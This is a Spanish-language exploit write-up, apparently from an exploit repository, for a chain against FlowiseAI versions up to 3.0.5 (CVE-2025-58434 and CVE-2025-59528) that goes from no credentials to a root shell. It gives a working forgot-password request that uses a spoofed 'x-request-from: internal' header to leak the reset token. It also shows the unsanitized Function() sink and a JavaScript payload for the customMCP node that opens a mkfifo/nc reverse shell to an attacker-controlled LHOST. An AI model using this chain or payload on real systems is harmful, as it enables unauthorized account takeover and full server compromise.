Cadena de ataque crítica no autenticada que conduce a RCE completo en FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Toma de control de cuenta no autenticada encadenada con ejecución remota de código contra FlowiseAI
<= 3.0.5.
Compromiso completo del contenedor en menos de 5 segundos, sin necesidad de credenciales.
Izquierda: página de inicio de sesión de FlowiseAI — Derecha: shell de root mediante CVE-2025-59528 · uid=0(root)
Este exploit encadena dos vulnerabilidades críticas independientes en un único ataque completamente automatizado. Ninguna de las dos vulnerabilidades garantiza por sí sola el compromiso total, pero juntas forman una cadena de ataque completa desde cero credenciales hasta una shell de root dentro de un contenedor Docker.
[Sin credenciales]
│
▼
① Abusar del endpoint de olvido de contraseña (sin autenticación requerida)
│ → El servidor responde con el token de restablecimiento de la víctima en texto plano
▼
② Enviar el token al endpoint de restablecimiento de contraseña
│ → El atacante controla la contraseña del administrador
▼
③ Iniciar sesión + obtener la clave API Bearer
│ → Sesión autenticada completa establecida
▼
④ Enviar payload JavaScript a través del nodo customMCP
│ → El servidor lo evalúa mediante el constructor Function()
▼
[Shell de root dentro del contenedor Docker]
Lo que lo hace de interacción cero: en ningún momento la víctima recibe un correo electrónico, ve una alerta de inicio de sesión o desencadena ningún evento visible. El ataque es completamente del lado del servidor.
CVSS 3.1: 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Afecta: FlowiseAI <= 3.0.5 (cloud + autogestionado)
Aviso: GHSA-wgpv-6j63-x5ph
FlowiseAI tiene un concepto de solicitudes "internas": llamadas API realizadas entre sus propios servicios, identificadas por el encabezado HTTP x-request-from: internal. El endpoint /api/v1/account/forgot-password utiliza este encabezado para omitir la autenticación por completo y devolver una respuesta diferente y más verbose que la que daría a los solicitantes externos.
El problema: este encabezado no se valida ni restringe de ninguna manera. Cualquier atacante en Internet puede enviarlo. Cuando lo hace, en lugar de desencadenar un correo electrónico de restablecimiento de contraseña, la API responde con el registro completo del usuario, incluido un tempToken activo que se puede usar inmediatamente para establecer una nueva contraseña.
Normalmente, un flujo de restablecimiento de contraseña se ve así:
Usuario solicita restablecimiento → Servidor genera token → Token enviado por CORREO ELECTRÓNICO → Usuario hace clic en el enlace → Contraseña cambiada
Aquí, el servidor omite el paso del correo electrónico por completo y coloca el token directamente en el cuerpo de la respuesta HTTP. El atacante lo captura y pasa directamente al paso de restablecimiento, sin necesidad de acceso al correo electrónico.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201: registro completo del usuario expuesto{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Luego, el tempToken se envía directamente al endpoint de restablecimiento, sin interacción por correo electrónico, sin CAPTCHA, sin límite de velocidad.

CVSS 3.1: 10.0 Crítico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Afecta: FlowiseAI <= 3.0.5
Aviso: GHSA-3gcm-f6qx-ff7p
FlowiseAI permite a los usuarios definir nodos MCP (Model Context Protocol) personalizados con la configuración del servidor proporcionada como una cadena JSON. Internamente, la plataforma necesita analizar esta configuración y lo hace utilizando el constructor Function() de JavaScript, que es funcionalmente equivalente a eval().
La cadena de configuración llega al sumidero completamente sin sanitizar:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — línea 262
const result = Function('return ' + mcpServerConfig)();
// ↑ entrada de usuario sin sanitizar — ejecución arbitraria de JS
Function() es tan peligroso como eval()Function('return ' + code)() hace lo siguiente:
code como su cuerpoEsto le da al atacante un contexto completo de ejecución de JavaScript con acceso a process, require, child_process y todo el runtime de Node.js, no un sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← cadena controlada por el atacante
└─ substituteVariablesInString() ← sin filtrado, pasa directo
└─ convertToValidJSONString() ← sin filtrado, pasa directo
└─ Function('return ' + input)() ← código arbitrario se ejecuta aquí
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})